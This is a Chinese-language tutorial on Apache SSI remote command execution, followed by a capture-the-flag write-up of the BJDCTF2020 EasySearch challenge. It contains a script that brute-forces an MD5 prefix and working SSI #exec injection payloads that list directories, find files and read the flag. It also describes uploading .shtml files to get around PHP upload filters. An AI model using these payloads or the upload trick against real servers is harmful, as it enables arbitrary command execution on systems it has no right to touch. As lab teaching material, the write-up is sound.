什么是SSI
Apache SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。
从技术层面来讲,SSI是一种在静态的shtml文件中根据需求插入内容;
SSI其实是一套为web服务器提供的命令,指令的基本格式为:<!--指令名称="指令内容"-->
常用的指令:
指令名称 | 指令作用 |
#include | 将文本文件的内容直接插入到文档页面中 |
#echo | 将环境变量插入到页面中 |
#flastmod和#fsize | #flastmod文件最近更新日期。 #fsize文件的长度。 |
#exec | 将某一外部程序的输出插入到页面中,可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi(cgi为插入到CGI程序中) |
#config | 指定返回给客户端浏览器的错误信息、日期和文件大小的格式 |
#printenv | 显示当前存在于WEB服务器环境中的所有环境变量 |
#set | 可给变量赋值,以用于后面的if语句 |
#if | 创建可以改变数据的页面,这些数据根据使用if语句时计算的要求予以显示 |
在目前我了解的应用于远程执行漏洞的指令是#exec,如果对于其他指令可以自行了解
#exec语法:
<!--#exec cmd="文件名称"-->
运用于常规程序
<!--#exec cgi="文件名称"-->
运用于CGI程序
SSI 远程命令执行漏洞产生原理
漏洞产生原因:在Apache服务器下,如果开启了SSI功能,那么就可以利用ssi指令对shtml等文件进行任意的命令执行;在文件上传时,如果限制了php上传,可以通过上传shtml利用<!--#exec cmd="命令" -->执行任意命令
触发条件
当存在一些条件时,就可以在利用ssi在web服务器上实现任意命令执行:
- Web服务器为Apache和IIS(支持SSI功能的服务器)
- 服务器有上传或者用户输入页面且未对相关SSI关键字做过滤
- Web应用程序在返回响应的HTML页面时,嵌入用户输入
- 未对输入的参数值进行输入过滤
例题
[BJDCTF2020]EasySearch
打开环境,是一个类似登录框的东西
尝试登录一下
常规进行抓包看看有没有什么提示,响应头没有什么提示,进行目录的扫描
进行目录扫描不建议使用disearch,这里使用dirmap,这是一个功能强于DirBuster、Dirsearch、cansina、御剑的扫描软件
扫描发现一个swp备份文件,尝试访问
拿到源码,审查一下代码
if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '
传入的密码在经过md5加密后的,前6位等于6d0bc1
在网上找一个脚本跑一下
import hashlibfor i in range(100000000):a = hashlib.md5(str(i).encode("utf-8")).hexdigest()if a[0:6] == '6d0bc1':print(i)
passward可以为这两组数字
现在开始尝试登录
admin&2020666
抓包看看响应头的回显,提示了一个url直接去访问
访问后能看见回显了我们刚刚登录的username ,说明这里存在注入点,可以利用
注入方式就是我们应该考虑的,我们的思路应该还是先利用命令执行来获取关于flag的信息,并且可以发现此时的后缀是shtml,那么就存在SSI漏洞尝试进行注入
在username的位置进行ssi注入
<!--#exec cmd="ls /"-->
不能明显的发现flag的位置,也可以再单独的去ls每个子目录下的内容,或者是直接查看flag的位置
<!--#exec cmd="find / -name flag*"-->
cat flag
<!--#exec cmd="cat /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->